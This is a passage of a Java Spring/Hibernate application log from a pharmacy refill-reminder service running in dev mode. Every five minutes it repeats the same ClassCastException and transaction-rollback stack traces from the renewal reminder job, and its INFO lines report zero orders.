org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 